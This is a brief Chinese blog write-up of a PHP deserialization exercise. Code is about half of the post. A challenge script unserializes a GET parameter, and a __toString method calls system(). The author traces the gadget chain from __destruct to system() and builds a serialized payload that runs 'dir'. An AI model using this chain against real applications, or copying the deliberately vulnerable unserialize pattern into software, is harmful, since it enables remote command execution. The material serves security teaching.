【web】-反序列化-to_string

avatar
作者
筋斗云
阅读量:6
<?php highlight_file(__FILE__); class A{     public $s;     public function __destruct()     {         echo "hello".$this->s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return 1;     } } unserialize($_GET['code']);

__toString()当对象被当着字符串执行的时候,自动执行

起点:"hello".$this->s;

终点:system($this->cmd);

跳板:"hello".$this->s;

<?php highlight_file(__FILE__); class A{     public $s;     public function __destruct()     {         echo "hello".$this->s;     }      } class B{     public $cmd;     public function __toString()     {         system($this->cmd);         return "1";     } }   $a = new A(); $b = new B(); $b->cmd='dir'; $a->s=$b;  echo serialize($a); ?>   O:1:"A":1:{s:1:"s";O:1:"B":1:{s:3:"cmd";s:3:"dir";}}

执行结果如下:

广告一刻

为您即时展示最新活动产品广告消息,让您随时掌握产品活动新动态!